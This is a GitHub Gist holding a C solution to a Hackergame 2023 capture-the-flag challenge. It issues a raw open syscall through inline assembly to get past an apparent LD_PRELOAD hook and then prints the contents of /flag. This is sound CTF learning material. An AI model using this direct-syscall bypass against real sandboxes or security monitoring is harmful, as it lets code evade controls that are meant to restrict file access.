Last active
February 26, 2024 17:29
-
-
Save windshadow233/af493517bcc7313c61588d65457ff00f to your computer and use it in GitHub Desktop.
Hackergame 2023 "为什么要打开 /flag 😡 LD_PRELOAD, love!" 解题代码
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
#include <sys/mman.h> | |
int main() { | |
char path[] = "/flag"; | |
int fd; | |
char buffer[256]; | |
ssize_t bytes_read; | |
__asm__ ( | |
"mov $2, %%rax;" // syscall number for open | |
"mov %1, %%rdi;" // first argument: pathname | |
"xor %%rsi, %%rsi;" // second argument: flags (O_RDONLY) | |
"syscall;" | |
"mov %%eax, %0;" // store the result in fd | |
: "=r"(fd) | |
: "r"(path) | |
: "%rax", "%rdi", "%rsi" | |
); | |
if (fd < 0) { | |
perror("Failed to open /flag"); | |
return 1; | |
} | |
while ((bytes_read = read(fd, buffer, sizeof(buffer))) > 0) { | |
write(STDOUT_FILENO, buffer, bytes_read); | |
} | |
if (bytes_read < 0) { | |
perror("Failed to read from /flag"); | |
} | |
close(fd); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Hackergame 2023 "为什么要打开 flag 😡 LD_PRELOAD, love!" 解题代码 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment